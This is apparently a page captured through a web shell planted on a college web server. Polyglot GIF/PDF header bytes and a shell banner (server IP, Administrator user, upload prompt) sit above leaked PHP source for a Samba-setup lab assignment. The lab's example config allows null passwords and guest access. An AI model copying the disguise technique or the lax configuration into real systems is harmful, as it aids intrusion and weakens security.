GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2608/_Archive/ |
Upload File : |
<? // /JimMartinson/CST2608/Lab04.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = 04; $assignmentType = "Lab"; $assignmentTitle = "Samba file server setup"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; } $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); ?> <p> <fieldset><legend>Description</legend> Setup a Samba server. </fieldset> <fieldset><legend>Lab Instruction</legend> <ol start="1"> <li>Install and configure Samba server. <ol type="a"> <li>Install Samba server. <br /><kbd>sudo apt-get install samba smbfs</kbd> </li> <li>Configure Samba server. <br /><kbd>sudo gedit /etc/samba/smb.conf</kbd> <br />An example smb.conf: <pre class="code">[global] ; General server settings netbios name = ubuntujim server string = workgroup = CST announce version = 5.0 socket options = TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192 passdb backend = tdbsam security = user null passwords = true username map = /etc/samba/smbusers name resolve order = hosts wins bcast wins support = yes printing = CUPS printcap name = CUPS syslog = 1 syslog only = yes ; NOTE: If you need access to the user home directories uncomment the ; lines below and adjust the settings to your hearts content. ;[homes] ;valid users = %S ;create mode = 0600 ;directory mode = 0755 ;browseable = no ;read only = no ;veto files = /*.{*}/.*/mail/bin/ ; NOTE: Only needed if you run samba as a primary domain controller. ; Not needed as this config doesn't cover that matter. ;[netlogon] ;path = /var/lib/samba/netlogon ;admin users = Administrator ;valid users = %U ;read only = no ; NOTE: Again - only needed if you're running a primary domain controller. ;[Profiles] ;path = /var/lib/samba/profiles ;valid users = %U ;create mode = 0600 ;directory mode = 0700 ;writeable = yes ;browseable = no ; NOTE: Inside this place you may build a printer driver repository for ; Windows - I'll cover this topic in another HOWTO. [print$] path = /var/lib/samba/printers browseable = yes guest ok = yes read only = yes write list = root create mask = 0664 directory mask = 0775 [printers] path = /tmp printable = yes guest ok = yes browseable = no ; Uncomment if you need to share your CD-/DVD-ROM Drive ;[DVD-ROM Drive] ;path = /media/cdrom ;browseable = yes ;read only = yes ;guest ok = yes [MyFiles] path = /home/jim/Desktop browseable = yes read only = no guest ok = no create mask = 0644 directory mask = 0755 force user = jim ;force group = smbusers</pre> </li> </ol> </li> <li>Start the Samba server. <br /><kbd>sudo /etc/init.d/samba start</kbd> </li> <li>Setup a Windows XP VMware machine that uses the same network your Ubuntu server is on and use it to test Samba server. <ol type="a"> <li>Browse or use <b>start Run</b> to connect to your server. <br /><img src="<?=$evaluationName?>/XP_Samba_run.png" alt="Start run \\main.ubuntu.loc" /> </li> <li> Take a screenshot of login screen and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</b>. <br />An example screenshot: <br /><img src="<?=$evaluationName?>/XP_Samba_login.png" alt="Samba login" /> </li> <li> Take a screenshot of share window and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</b>. <br />An example screenshot: <br /><img src="<?=$evaluationName?>/XP_Samba_browse.png" alt="Samba share" /> </li> </ol> </li> <li> <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png.</li> <li>/etc/samba/smb.conf.</li> </ol> </li> </ol> </fieldset> <fieldset class="pio"><legend>Grading Criteria</legend> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </fieldset> <fieldset class="pio"><legend>Objectives</legend> <ol class="obj pio" start="10"> <!-- Week 6 10 Chapter 16,26 --> <li>Describe the Network File System (NFS).</li> <li>Implement file sharing using the Network Information Service (NIS).</li> <li>Implement file sharing using the Common Internet File System (CIFS) with Samba.</li> </ol> </fieldset> <fieldset><legend>Notes</legend> Here is a <a href="Labs/<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br /> <br /> Error 1326: <br /> If Windows prepends the name of the computer to the samba login then the user may not be enabled for samba. Open a terminal on your server and type:<br /> <kbd>sudo /usr/bin/smbpasswd -e <i>your_username</i></kbd><br /> Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br /> It may also be something like a corrupt password. Open a terminal on your server and type:<br /> <kbd>sudo /usr/bin/smbpasswd -a <i>your_username</i></kbd><br /> Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br /> </fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>